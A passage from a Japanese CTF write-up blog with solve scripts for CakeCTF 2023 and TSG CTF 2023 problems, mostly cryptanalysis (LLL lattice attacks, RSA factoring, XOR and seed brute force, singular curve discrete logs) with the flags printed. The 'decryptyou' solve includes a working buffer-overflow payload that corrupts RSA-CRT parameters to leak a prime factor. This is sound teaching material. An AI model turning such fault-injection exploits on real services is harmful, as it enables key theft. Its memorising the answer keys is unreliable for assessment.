q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931
# 2047bit
p = 2*q + 1
g = 3

s = []

recvuntil(client, b'salt = ')
salt = bytes.fromhex(recvuntil(client).strip().decode())

recvuntil(client, b'y = ')
y = int(recvuntil(client).strip().decode())

recvuntil(client, b'[s]ign or [v]erify:')
client.send(b's\n')
recvuntil(client, b'm = ')
client.send(b'a\n')
recvuntil(client, b's = ')
s.append(int(recvuntil(client).strip().decode()))

recvuntil(client, b'[s]ign or [v]erify:')
client.send(b's\n')
recvuntil(client, b'm = ')
client.send(b'b\n')
recvuntil(client, b's = ')
s.append(int(recvuntil(client).strip().decode()))

z = [h1(b'a'+salt), h1(b'b'+salt)]

mat = [[0]*3 for _ in range(3)]
w1 = 2**360

mat[0][0] = s[0]
mat[1][0] = s[1]
mat[2][0] = q
for i in range(2):
    mat[i][i+1] = w1

res = Matrix(mat).LLL()
res = res[0]

k2r2 = res[1]//w1
k1r1 = -res[2]//w1
if k1r1<0:
    k1r1 = -k1r1
    k2r2 = -k2r2

x = -1
k1 = GCD(int(res[0]), int(k1r1))
for i in range(1, 256):
    if x!=-1:
        break
    k1r1i = k1r1*i
    if int(k1r1i).bit_length() > 400:
        break
    for j in range(1, 256):
        if k1*i%j!=0:
            continue
        k1i = k1*i//j
        if int(k1i).bit_length() > 200:
            continue
        if int(k1r1i)%int(k1i) != 0:
            continue
        r1 = k1r1i//k1i
        x1 = (s[0]-k1i*z[0]) * pow(int(k1r1i),int(-1),int(q)) % q
        if pow(int(g), int(x1), int(p)) == y:
            x = x1
            break

assert pow(int(g), int(x), int(p)) == y

def sign(m: bytes):
    z = h1(m)
    k = inverse(h2(long_to_bytes(int(x + z))), int(q))
    r = h2(long_to_bytes(pow(int(g), int(k), int(p))))
    s = (z + x*r) * inverse(int(k), int(q)) % q
    return r, s

r, s = sign(b"hirake goma"+salt)

recvuntil(client, b'[s]ign or [v]erify:')
client.send(b'v\n')
recvuntil(client, b'm = ')
client.send(b'hirake goma\n')
recvuntil(client, b'r = ')
client.send(str(int(r)).encode()+b'\n')
recvuntil(client, b's = ')
client.send(str(int(s)).encode()+b'\n')
print(recvuntil(client))
# CakeCTF{im_r3a11y_afraid_0f_truncating_hash_dig3st_13ading_unint3nd3d}

ちなみに、AVTOKYOの会場でもLLLの張り紙がありました。

[crypto, pwn] decryptyou

x64のELFバイナリおよびそのソースコードが与えられます。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <gmp.h>
#include <unistd.h>

char flag[100];

typedef struct {
  struct {
    mpz_t u; mpz_t p; mpz_t q; mpz_t dp; mpz_t dq;
  } priv;
  struct {
    mpz_t n; mpz_t e;
  } pub;
} rsacrt_t;

/** @fn random_prime
 *  @brief Generate a random prime number.
 *  @param p: `mpz_t` variable to store the prime.
 *  @param nbits: Bit length of the prime.
 */
void random_prime(mpz_t p, int nbits) {
  gmp_randstate_t state;
  gmp_randinit_default(state);
  gmp_randseed_ui(state, rand());
  mpz_urandomb(p, state, nbits);
  mpz_nextprime(p, p);
  gmp_randclear(state);
}

/** @fn rsa_keygen
 *  @brief Generate a key pair for RSA-CRT.
 *  @param rsa: `rsacrt_t` structure to store the key.
 */
void rsa_keygen(rsacrt_t *rsa) {
  mpz_t p1, q1;
  mpz_inits(rsa->pub.n, rsa->pub.e,
            rsa->priv.u, rsa->priv.p, rsa->priv.q, rsa->priv.dp, rsa->priv.dq,
            p1, q1, NULL);

  /* Generate RSA parameters */
  mpz_set_ui(rsa->pub.e, 65537);
  random_prime(rsa->priv.p, 512);
  random_prime(rsa->priv.q, 512);
  mpz_sub_ui(p1, rsa->priv.p, 1);
  mpz_sub_ui(q1, rsa->priv.q, 1);
  mpz_mul(rsa->pub.n, rsa->priv.p, rsa->priv.q);     // n = p * q
  mpz_invert(rsa->priv.dp, rsa->pub.e, p1);          // dp = e^-1 mod p-1
  mpz_invert(rsa->priv.dq, rsa->pub.e, q1);          // dq = e^-1 mod q-1
  mpz_invert(rsa->priv.u, rsa->priv.q, rsa->priv.p); // u = q^-1 mod p
}

/** @fn challenge
 *  @brief Can you solve this?
 *  @param rsa: `rsacrt_t` structure containing a key pair.
 */
void challenge(rsacrt_t *rsa) {
  char buf[0x200];
  gmp_randstate_t state;
  mpz_t x, m, c, cp, cq, mp, mq;
  mpz_inits(x, m, c, cp, cq, mp, mq, NULL);

  /* Generate a random number and encrypt it */
  gmp_randinit_default(state);
  gmp_randseed_ui(state, rand());
  mpz_urandomb(x, state, 512);
  mpz_powm_ui(c, x, 1333, rsa->pub.n); // c = x^1333 mod n

  gmp_printf("n = %Zd\n", rsa->pub.n);
  gmp_printf("c = %Zd\n", c);

  for (;;) {
    /* Input ciphertext */
    printf("c = ");
    if (scanf("%s", buf) != 1
        || mpz_set_str(c, buf, 10) != 0) {
      fputs("Invalid input", stderr);
      exit(0);
    }

    /* Calculate plaintext */
    mpz_mod(cp, c, rsa->priv.p);
    mpz_mod(cq, c, rsa->priv.q);
    mpz_powm(mp, cp, rsa->priv.dp, rsa->priv.p);
    mpz_powm(mq, cq, rsa->priv.dq, rsa->priv.q);
    // m = (((mp - mq) * u mod p) * q + mq) mod n
    mpz_set(m, mp);
    mpz_sub(m, m, mq);
    mpz_mul(m, m, rsa->priv.u);
    mpz_mod(m, m, rsa->priv.p);
    mpz_mul(m, m, rsa->priv.q);
    mpz_add(m, m, mq);
    mpz_mod(m, m, rsa->pub.n);
    gmp_printf("m = %Zd\n", m);

    /* Check plaintext */
    if (mpz_cmp(m, x) == 0) {
      printf("Congratulations!\n"
             "Here is the flag: %s\n", flag);
      break;
    }
  }
}

/**
 * Entry point
 */
int main() {
  rsacrt_t rsa;
  rsa_keygen(&rsa);
  challenge(&rsa);
  return 0;
}

__attribute__((constructor))
void setup(void) {
  int seed;
  int fd;
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  // Get random seed
  if ((fd = open("/dev/urandom", O_RDONLY)) == -1 ||
      read(fd, &seed, sizeof(seed)) != sizeof(seed)) {
    perror("setup failed");
    exit(1);
  }
  close(fd);
  srand(seed);

  // Read flag
  if ((fd = open("/flag.txt", O_RDONLY)) == -1 ||
      read(fd, flag, sizeof(flag)) <= 0) {
    perror("flag not found");
    exit(1);
  }
  close(fd);
}

RSA-CRT (Xornetさんの記事) が実装されており、好きな暗号文の復号が何度でもできます。復号結果が秘密の平文 x に一致すればフラグが得られます。秘密の平文は、異なる e で暗号化されて与えられます。

Xornetさんの記事にも書かれているように、RSA-CRTに対してはfault attackとよばれる攻撃が知られています。また、ソースコードを見ると、buf に何文字でも入力できて、バッファオーバーフローを起こせることがわかります。そこで、このバッファオーバーフローを利用して他の変数を書き換え、復号結果をバグらせることを考えます。

まず試しに600文字入力してみると、次のようにエラーで終了します。

$ ./chall
n = 163912677711753578402018546176455166536369875636338193731886158802473769013912049898122897926394608600927104053030671754067514800594514581474793929508470115692922105904584925001255043938954803175655673822917028179462162860487277678838112468685591852540103929171670267328627307915111147885925404253306808639467
c = 155877206961297913842830834243296718889261927396211762783856436181379059789452860217137398965239284018340690345395308951268718814696496977891214876021281588402561336181375737671009919552744668200793593310735852050446035635182453541062847860321390334387118632127846297570721880821977571616202437792052368270066
c = 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
GNU MP: Cannot allocate memory (size=6602459592)
zsh: IOT instruction  ./chall

ここで、変数は mpz_t という型ですが、これは次のように定義されています(https://github.com/alisw/GMP/blob/master/gmp-h.in#L150)。

typedef struct
{
  int _mp_alloc;       /* Number of *limbs* allocated and pointed
                  to by the _mp_d field.  */
  int _mp_size;            /* abs(_mp_size) is the number of limbs the
                  last field points to.  If _mp_size is
                  negative this is a negative number.  */
  mp_limb_t *_mp_d;     /* Pointer to the limbs.  */
} __mpz_struct;

確保している領域のサイズ、値のサイズ、値へのポインタを持っているようです。

これを踏まえて、gdbで暗号文入力直後のスタックの状態を確認すると、buf+592 の位置から u, p, q, dp, dq, n, e が順に並んでいるのが見れます*2

よって、u を0に書き換えることができます (サイズは適当に、ポインタは適当に参照できそうなアドレスにすればよいです)。

平文の\bmod{p},\bmod{q} からCRTで平文を復元する部分は次のように行われています。

\displaystyle{
m=((m_{p}-m_{q})u \bmod{p})q+m_{q}
}

これを見ると、u の値が変わっても、復号結果の\bmod{q} は変わらないことがわかります。よって、バグった復号結果と正しい平文の差を求め、n との \gcd を取ることで q が求まります。

これで、秘密の平文 x を復号することができます。あとは、u=0 になっている状態で、復号すると x に一致するような暗号文を入力する必要があります。u=0 のときは m=m_{q}、つまり正しい平文の\bmod{q} が返りますが、x は512bit (p, q も512bit) なので、1/2の確率で x=(x\bmod{q}) になります。よって、普通に x の暗号文を入力すればよいです。

from Crypto.Util.number import *
import socket

def recvuntil(client, delim=b'\n'):
    buf = b''
    while delim not in buf:
        buf += client.recv(1)
    return buf

host = 'crypto.2023.cakectf.com'
port = 10666

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))

recvuntil(client, b'n = ')
n = int(recvuntil(client))
recvuntil(client, b'c = ')
c0 = int(recvuntil(client))

e0 = 1333
e = 0x10001

print("n =", n)
print("c0 =", c0)

def query(c):
    recvuntil(client, b'c = ')
    client.send(c+b'\n')
    recvuntil(client, b'm = ')
    return int(recvuntil(client))

m1 = int("1"*300)
c = str(pow(m1, e, n)).encode()

c1 = c + b'\x00'*(592-len(c)) + long_to_bytes(0x8, 4)[::-1] + long_to_bytes(0x8, 4)[::-1] + long_to_bytes(0x400000, 8)[::-1] 
m2 = query(c1)

q = GCD(m1-m2, n)
assert 1 < q < n
p = n//q

print("p =", p)
print("q =", q)

d0 = inverse(e0, (p-1)*(q-1))
m0 = pow(c0, d0, n)
print("m0 =", m0)

c = pow(m0, e, n)

query(str(c).encode())
print(recvuntil(client))
print(recvuntil(client))
# CakeCTF{h4lf_crypt0_h4lf_pWn_l1k3_c4k3!?}

cryptoとpwnのタグが付いていて少し身構えましたが、とても面白かったです。

*1:お酒をたくさん飲んだヌオーのことです。

*2:CTF中はなぜか buf+608 に u があると勘違いしており、p も書き換えてしまっていましたが、ちょうど解法が破綻せずうまくいっていました。

TSG CTF 2023 writeup

TSG CTF 2023 に TokyoWesterns で参加し、2位を取ることができました!

私はcrypto全問とrev1問、misc1問を解き、うち2問でfirst bloodを取ることができました。

[crypto] Unique Flag

次のソースコードとその実行結果が与えられます。

from Crypto.Util.number import getPrime

p = getPrime(1024)
q = getPrime(1024)
N = p * q
e = 0x10001

with open('flag.txt', 'rb') as f:
    flag = f.read()

assert len(flag) == 33

flag_header = flag[:7] # TSGCTF{
flag_content = flag[7:-1]
flag_footer = flag[-1:] # }

assert len(flag_content) == len({byte for byte in flag_content}) # flag_content is unique

c_list = [pow(byte, e, N) for byte in flag]
clues = [x * y % N for x, y in zip(c_list[:-1], c_list[1:])]
clues.sort()

print(f'N = {N}')
print(f'e = {e}')
print(f'clues = {clues}')

フラグの i 文字目と i+1 文字目をRSAで暗号化した結果の積たちをソートした配列 clues が与えられます。フラグの最初の7文字は TSGCTF{ であることがわかっています。

フラグの i 文字目までがわかっているとして、次の文字を求めることを考えます。i+1 文字目として全ての文字を試し、i 文字目と i+1 文字目を暗号化した結果の積が clues に含まれれば i+1 文字目の候補とすればよいです。これを繰り返すことで、フラグが前から順に求まります。

ここで、フラグの {} 内の文字は相異なることが保証されてはいますが、このアルゴリズムにおいて次の文字の候補は複数ありうることに注意が必要です。例えば、flag[i]=3 で flag[i+1] を求めようとしているとき、その先に flag[j]=2, flag[j+1]=6 の箇所があれば、実際は flag[i+1] が4でなくても、flag[i+1]=4 が候補になってしまいます。

from Crypto.Util.number import *
from output import *

flag = b'TSGCTF{'
for i in range(6):
    c = pow(flag[i]*flag[i+1], e, N)
    clues.remove(c)

def solve(flag, clues):
    if len(flag) == 33:
        print(flag)
        return
    for i in range(0x20, 0x80):
        c = pow(flag[-1]*i, e, N)
        if c in clues:
            clues_nxt = clues[:]
            clues_nxt.remove(c)
            solve(flag+bytes([i]), clues_nxt)

solve(flag, clues)
# TSGCTF{OK,IsTHi5A_un1qUe-flag?XD}

[crypto] Complicated Function

次のソースコードとその実行結果が与えられます。

from Crypto.Util.number import isPrime, getStrongPrime
from math import isqrt, sin, ceil
from secrets import flag


def f(p):
    return isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) + 2**1023


while True:
    p = getStrongPrime(1024)
    if p < 2**1023:
        continue
    q = f(p)
    if isPrime(q):
        break

N = p * q
e = 0x10001
m = int.from_bytes(flag, 'big')
c = pow(m, e, N)

print(f'N = {N}')
print(f'c = {c}')

RSA暗号の問題ですが、q の値が次のように p の値から決められています。

q = isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) + 2**1023

外側のルートの値は p+2^{511} くらいになりそうです。そこで、ルートの値から p を引いた値を出力させてみると、常に 2^{511}-4 となることが推測できます。

def f(p):
    x = isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p)))
    print(hex(x-p))
    return isqrt(p**2 + p * (2**512-6) + ceil(isqrt(p)*sin(p))) + 2**1023

よって、p(p+2^{1023}+2^{511}-4)=N なので、この p についての2次方程式を解くことで p が求まり、復号できます。

from Crypto.Util.number import *
from output import *
e = 0x10001

PR.<x> = PolynomialRing(ZZ)
f = x*(x+2**1023+2**511-4)-N
p = int(f.roots()[0][0])
q = N//p
m = pow(c, inverse(int(e), int((p-1)*(q-1))), N)
print(long_to_bytes(int(m)))
# TSGCTF{From which angle did you solve this, binary search or convergence of f(p)-p?}

first bloodでした。

[crypto] Streamer

次のソースコードとその実行結果が与えられます。

import secrets
import hashlib
import base64
import re

pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
flag_content = b"@@REDUCTED@@"
assert pattern.fullmatch(flag_content.decode())

flag_hash = hashlib.md5(flag_content).digest()
flag = b"TSGCTF{"+flag_content+b"@"+base64.b64encode(flag_hash)+b"}"

key_stream = list(secrets.token_bytes(16))
encrypted_flags = [flag[i]^key_stream[i%16] for i in range(len(flag))]

print("cipher =",encrypted_flags)
print("flag_length =",len(flag))

16bytesの鍵を繰り返したものをフラグにXORしてできる暗号文が与えられます。フラグの {} 内は、flag_content, "@", flag_contentMD5ハッシュのbase64、を連結したものとなっています。

フラグの先頭は TSGCTF{ なので、鍵の先頭7bytesはわかります。また、MD5ハッシュは128bitなので、フラグのbase64部分は24文字で、後ろ2文字は == となります。よって、フラグの末尾は ==} なので、鍵の末尾3bytesもわかります。

鍵の残り6bytesは、フラグが表示可能な文字 (base64部分はbase64の文字) からなることを用いて全探索できます。

import hashlib
import base64
import string
from itertools import product
from output import *

key_stream = [-1]*16
for i in range(7):
    key_stream[i] = cipher[i] ^ b'TSGCTF{'[i]

key_stream[(flag_length-1)%16] = cipher[-1]^ord('}')
key_stream[(flag_length-2)%16] = cipher[-2]^ord('=')
key_stream[(flag_length-3)%16] = cipher[-3]^ord('=')

kouhos = []
for i in range(7, 13):
    kouho = []
    for c in range(0x20, 0x80):
        k = c^cipher[i]
        ok = True
        for j in range(i, flag_length, 16):
            if not (0x20 < (cipher[j]^k) < 0x80):
                ok = False
                break
            if j>=flag_length-25:
                if cipher[j]^k not in list((string.digits+string.ascii_letters+'/+=').encode()):
                    ok = False
                    break
        if ok:
            kouho.append(k)
    kouhos.append(kouho)

for key in product(*kouhos):
    key_stream = key_stream[:7]+list(key)+key_stream[13:]
    flag = [cipher[i]^key_stream[i%16] for i in range(len(cipher))]
    flag_content = bytes(flag[7:-26])
    hash = base64.b64encode(hashlib.md5(flag_content).digest())
    if hash == bytes(flag[-25:-1]):
        print(bytes(flag))

# TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}

[crypto] RANDOM SEED RANDOM

次のソースコードが与えられます。

import os
import random
import string

flag = os.getenv("FLAG", "FAKECTF{THIS_IS_FAKE}")

key = [random.randrange(10 ** 4) for _ in flag]
cs = string.printable[:-6]

def r(k):
    for _ in range(k):
        random.seed(x := random.randrange(20231104, 20231104 * 10))
    return x

random.seed(int(input("seed: ")))
print('flag:', ''.join([cs[(cs.index(f) + r(k)) % len(cs)] for f, k in zip(flag, key)]))

フラグの各文字について、

random.seed(x := random.randrange(20231104, 20231104 * 10))

10^{4} 未満のランダムな回数だけ繰り返し、得られた x の値だけ文字をずらす、という変換をした結果の文字列が得られます。seedの初期値を指定できます。

少ない回数で元の値に戻るような x (seed) を指定すれば、ずらす数としてありうるものの種類が少なくなるので、フラグの各文字の候補を絞り込むことができます。そのためまずは、元に戻るまでの回数 (周期) としてありうるものと、それを達成するseedの初期値を列挙します。

import random

N = 20231104

nxt = [-1] * (N * 10)

for x in range(N, N * 10):
    random.seed(x)
    y = random.randrange(N, N * 10)
    nxt[x] = y

cnt = [-2] * (N * 10)

for x in range(N, N * 10):
    if cnt[x]!=-2:
        continue
    cnt[x] = 0
    y = x
    c = 0
    while True:
        y = nxt[y]
        c += 1
        if cnt[y]!=-2:
            break
        cnt[y] = c

    if cnt[y]!=-1:
        l = c-cnt[y]
        print(l, y)

    cnt[x] = -1
    y = nxt[x]
    while cnt[y]>=0:
        cnt[y] = -1
        y = nxt[y]

これを実行すると次のようになり ("周期 seedの初期値"の形式)、6回で元の値に戻るようなseedが見つかります。

6848 28347911
3761 158482846
7282 110665403
42 40538547
182 37635707
111 79190593
12 169256700
6 92574978
6 151006513
15 152413113
...

seedが 92574978 (周期6), 151006513 (周期6), 169256700 (周期12) の場合の結果を用いると、フラグを絞り込めます (以下のスクリプトを実行すると3文字目が 4 となりますが、G に修正することで正しいフラグになります)。

import string
import random

N = 20231104
cs = string.printable[:-6]

def nxt(x):
    random.seed(x)
    return random.randrange(N, N * 10)

xs = [92574978, 169256700, 151006513]
kouhos = []
for x in xs:
    kouho = [x]
    y = nxt(x)
    while y!=x:
        kouho.append(y)
        y = nxt(y)
    kouhos.append(kouho)

encs = [",k84'7ee,R4Ic*(3SXSV#fdISq>nsl,Y$..kxW", "3i-=hXu=m{U+QwwT|3#lC&e4QqK<sq(GKN|M_U", "W[&Fb*K8S-_$I@V&d\j(ZQ79|*!&zW)3uJ$a;n"]
flag = ''
for i in range(len(encs[0])):
    for j in range(len(cs)):
        ok = True
        for k in range(3):
            if cs.index(encs[k][i]) not in [(j+t)%len(cs) for t in kouhos[k]]:
                ok = False
        if ok:
            flag += cs[j]
            break
print(flag)
# TSGCTF{D4NCE_R0BOT_D4NCE_8caa8d05ff7f}

[crypto] Learning with Exploitation

次のソースコードとその実行結果が与えられます。

from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler
from sage.crypto.lwe import LWE, samples
from sage.misc.prandom import randrange

p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
F = GF(p)
d = 100
n = 10
q = p // (2 ** 64)
D = DiscreteGaussianDistributionIntegerSampler(q // d // 6) # six sigma

lwe = LWE(n=n, q=p, D=D)

public_key = list(zip(*samples(m=d, n=n, lwe=lwe)))
private_key = lwe._LWE__s

def encrypt(m, public_key):
  A, T = public_key
  r = vector([F(randrange(2)) for _ in range(d)])
  U = r * matrix(A)
  v = r * vector(T) + m * q
  return U, v

def decrypt(c, private_key):
  U, v = c
  return int(v - U * private_key + q // 2) // q

with open('flag.txt', 'rb') as f:
  flag = f.read()
assert(len(flag) == 64)

print(f'{public_key = }')

ciphertext = []
for i in range(0, 64, 8):
  m = int.from_bytes(flag[i:i+8], 'big')
  c = encrypt(m, public_key)

  assert(decrypt(c, private_key) == m)

  ciphertext.append(c)

print(f'{ciphertext = }')

公開鍵は 100\times 10 行列 A と長さ100のベクトル T で、秘密鍵は長さ10のベクトル s です。p は192bit素数で、鍵の成分は \mathbb{F}_{p} の元です。また、この鍵を用いた暗号化と復号の関数が実装されており、公開鍵と、フラグを暗号化した結果が与えられます。

LWEが誤差付きの連立方程式を解く問題であったことを思い出しながら試すと、e=As-T の各成分が小さい値 (121bit程度) になっていることがわかります。よって、次のような行列

\displaystyle{
\begin{pmatrix}
^{t}\!A & I_{10} & O \\ 
pI_{100} & O & O \\ 
-^{t}T & O & \infty
\end{pmatrix}
}

に対してLLLアルゴリズムを適用すると、最後の行に秘密鍵 s を含むベクトル

\displaystyle{
(^{t}\!e, ^{t}\!s, \infty)
}

が現れることが期待できます。実際は、e の列に 2^{70} 倍程度の重みをつけて s の列と大きさを合わせることで、欲しいベクトルが得られます。

秘密鍵が求まれば、与えられた復号関数を用いてフラグを復号できます。

from Crypto.Util.number import *
from output import *

A = public_key[0] # 100 x 10
T = public_key[1] # 100

p = 0xfffffffffffffffffffffffffffffffeffffffffffffffff
d = 100
n = 10
q = p // (2 ** 64)

inf = 2**256
weight = 2**75
mat = [[0]*(d+n+1) for _ in range(d+n+1)]

for i in range(n):
    for j in range(d):
        mat[i][j] = A[j][i]*weight
for i in range(d):
    mat[i+n][i] = p*weight
for i in range(d):
    mat[d+n][i] = -T[i]*weight
for i in range(n):
    mat[i][i+d] = 1
mat[d+n][d+n] = inf

res = Matrix(mat).LLL()
private_key = vector(GF(p), res[-1][-1-n:-1])

def decrypt(c, private_key):
  U, v = c
  return int(v - vector(U) * private_key + q // 2) // q

flag = b''
for i in range(len(ciphertext)):
    c = ciphertext[i]
    m = decrypt(c, private_key)
    flag += long_to_bytes(int(m))
print(flag)
# TSGCTF{PQC_5T4NDS_FOR_"P-AND-Q_CRYPTOSY5T3M";_4LSO_KNOWN_A5_RSA}

[crypto] Delta Force

次のソースコードとその実行結果が与えられます。楕円曲線のクラス EC が実装されている elliptic_curve.py も与えられます。

from secret import flag, p, q
from random import SystemRandom
from elliptic_curve import EC

randgen = SystemRandom()
flag += randgen.randbytes(4000 // 8 - len(flag))

f = int.from_bytes(flag, 'big')

assert is_prime(p) and is_prime(q)
N = p * q

R = IntegerModRing(N)
a1 = 3444824117 ...
a2 = 4220657222 ...
a3 = 5580533280 ...
a4 = 2409686375 ...
a6 = 3470078186 ...

x = 3187380289 ...
y = 3098509628 ...

P = (x, y)

ec = EC(R, (a1, a2, a3, a4, a6))
assert ec.iszeropoint(P) == True

print(N)
print(ec.scalar(f, P))

\mathbb{Z}/n\mathbb{Z} 上の楕円曲線の離散対数問題(DLP)に見えます。N は4099bitで、2つの素数 p, q の積です。

楕円曲線のクラスが独自実装されている点が怪しいです。SageMathで問題の楕円曲線を扱おうとすると、singular curveであるというエラーが出ます。

sage: E = EllipticCurve(Zmod(N), [a1, a2, a3, a4, a6])                                  
---------------------------------------------------------------------------
ArithmeticError                           Traceback (most recent call last)
<ipython-input-3-2518f5d34f0b> in <module>
----> 1 E = EllipticCurve(Zmod(N), [a1, a2, a3, a4, a6])
...
ArithmeticError: y^2 + 34448...*x*y + 55805...*y = x^3 + 42206...*x^2 + 24096...*x + 34700... defines a singular curve

実際、楕円曲線の判別式 \Delta を計算すると0となっており、singularな曲線であることがわかります。

singularな楕円曲線には、nodeとcuspの2種類があります。楕円曲線の方程式を y^{2}=x^{3}-27c_{4}x-54c_{6} の形に変形すると、cuspであるための条件は c_{4}=0 と書けます。ちょうどRicerca CTF 2023の賞品のタンブラーにこの条件が書かれていたのを思い出しました。

singularな楕円曲線におけるDLPの解き方は、nodeの場合とcuspの場合で異なります。cuspの場合は、(x, y)\mapsto x/y\in \mathbb{F}_{p} により加法群 \mathbb{F}_{p} 上のDLPに帰着します。また、nodeの場合は、楕円曲線\mathbb{F}_{p^{2}}^{\times} に埋め込むことができることが知られており、\mathbb{F}_{p^{2}}^{\times} 上のDLPに帰着します。

今回、c_{4} を計算すると0でない値になりますが、\bmod{p}\bmod{q} のうち片方がcusp、もう片方がnodeになっているかもしれないと推測して \gcd (c_{4}, N) を計算してみると、1より大きい値が現れます。これにより、N素因数分解できて、推測通り\bmod{p} でcusp、\bmod{q} でnodeとなっていることがわかります。

\bmod{q} (nodeの場合) におけるDLPは、今回 (q+1)P=O であり、q+1 がちょうど 10^{9} 程度の素因数の積になっていることから、Pohlig-Hellmanのアルゴリズムで解くことができます。

from Crypto.Util.number import *
from elliptic_curve import EC

a1 = 3444824117 ...
a2 = 4220657222 ...
a3 = 5580533280 ...
a4 = 2409686375 ...
a6 = 3470078186 ...

x = 3187380289 ...
y = 3098509628 ...

# output
N = 4861176438 ...
Q = (2940137648 ... , 4309188751 ... )
xq, yq = Q[0], Q[1]

b2 = (a1**2+4*a2)%N
b4 = (2*a4+a1*a3)%N
b6 = (a3**2+4*a6)%N
b8 = (a1**2*a6+4*a2*a6-a1*a3*a4+a2*a3**2-a4**2)%N
c4 = (b2**2-24*b4)%N
c6 = (-b2**3+36*b2*b4-216*b6)%N
delta = (-b2**2*b8-8*b4**3-27*b6**2+9*b2*b4*b6)%N

p = GCD(c4, N)
q = N//p

def myon(x, y):
    y1 = (2*y+a1*x+a3)%N
    x1 = (36*x+3*b2)%N
    y1 = 108*y1%N
    assert (y1**2-(x1**3-27*c4*x1-54*c6))%N == 0
    return x1, y1
x1, y1 = myon(x, y)
x2, y2 = myon(xq, yq)

# mod p
v = x1*pow(int(y1),int(-1),int(p))%p
vq = x2*pow(int(y2),int(-1),int(p))%p
fp = vq*pow(int(v),int(-1),int(p))%p

# mod q
fac = [r[0] for r in factor(q+1)][1:]
rs = [int(fp)]
qs = [p] + fac

ec = EC(GF(q), (a1, a2, a3, a4, a6))

for r in fac:
    P1 = ec.scalar((q+1)//r, (x%q,y%q))
    Q1 = ec.scalar((q+1)//r, (xq%q,yq%q))
    
    # bsgs
    fr = -1
    sq = isqrt(r)
    R = ec.negate(ec.scalar(sq, P1))
    S = ec.O
    mp = dict()
    for i in range(0, sq):
        mp[S] = i
        S = ec.add(S, P1)
    S = Q1
    for i in range(0, r, sq):
        if S in mp:
            fr = i+mp[S]
            break
        S = ec.add(S, R)
    rs.append(int(fr))

m = CRT_list(rs, qs)
print(long_to_bytes(int(m)))
# TSGCTF{@l1_y0u_n3Ed_IS_ReaDiNG_5ilvErman_ThE_@r1thmetic_of_e11iPtiC_cURVe5}

first bloodでした。

[rev] beginners_rev_2023

64bitのexeファイル beginners-rev-2023.exe が与えられます。

Ghidraで解析します。メインの処理はFUN_140001880にあります。

void FUN_140001880(void)

{
  ulonglong *puVar1;
  int iVar2;
  undefined8 *puVar3;
  void *_Dst;
  ulonglong *puVar4;
  char *_Str;
  longlong lVar5;
  undefined8 uVar6;
  longlong lVar7;
  undefined8 uVar8;
  longlong lVar9;
  undefined8 in_R9;
  undefined auStack_258 [32];
  char local_238 [16];
  undefined local_228 [24];
  ulonglong local_210 [63];
  ulonglong local_18;
  
  local_18 = DAT_140004008 ^ (ulonglong)auStack_258;
  puVar3 = (undefined8 *)malloc(0x408);
  *puVar3 = 0;
  local_238 = s_2023TTSSGG2023!_140003270;
  lVar7 = -1;
  do {
    lVar5 = lVar7 + 1;
    lVar9 = lVar7 + 1;
    lVar7 = lVar5;
  } while (local_238[lVar9] != '\0');
  FUN_140001480(puVar3,(int)lVar5,(longlong)local_238);
  _Dst = malloc(0x201);
  uVar6 = 0;
  uVar8 = 0x201;
  memset(_Dst,0,0x201);
  FUN_140001020("Flag> ",uVar6,uVar8,in_R9);
  FUN_140001080(&DAT_140003288,_Dst,0x201,in_R9);
  memset(local_228,0,0x201);
  lVar7 = 2;
  lVar9 = 2;
  puVar4 = (ulonglong *)((longlong)_Dst + 0x18);
  do {
    puVar4[-3] = puVar4[-3] ^ puVar4[-3] >> 0xc;
    // 中略
    puVar4[0x1c] = puVar4[0x1c] >> 0xc ^ puVar4[0x1c];
    lVar9 = lVar9 + -1;
    puVar4 = puVar1;
  } while (lVar9 != 0);
  FUN_1400010e0((uint *)puVar3,puVar1,(longlong)_Dst,(longlong)local_228);
  puVar4 = local_210;
  do {
    puVar4[-3] = puVar4[-3] ^ puVar4[-3] >> 0xc;
    // 中略
    puVar4[0x1c] = puVar4[0x1c] >> 0xc ^ puVar4[0x1c];
    lVar7 = lVar7 + -1;
    puVar4 = puVar4 + 0x20;
  } while (lVar7 != 0);
  iVar2 = memcmp(local_228,&DAT_140004040,0x200);
  _Str = "Correct!!!";
  if (iVar2 != 0) {
    _Str = "Wrong...";
  }
  puts(_Str);
  FUN_140001de0(local_18 ^ (ulonglong)auStack_258);
  return;
}

暗号化処理はFUN_1400010e0にあります。

void FUN_1400010e0(uint *param_1,undefined8 param_2,longlong param_3,longlong param_4)

{
  uint uVar1;
  uint uVar2;
  uint uVar3;
  ulonglong uVar4;
  byte *pbVar5;
  longlong lVar6;
  ulonglong uVar7;
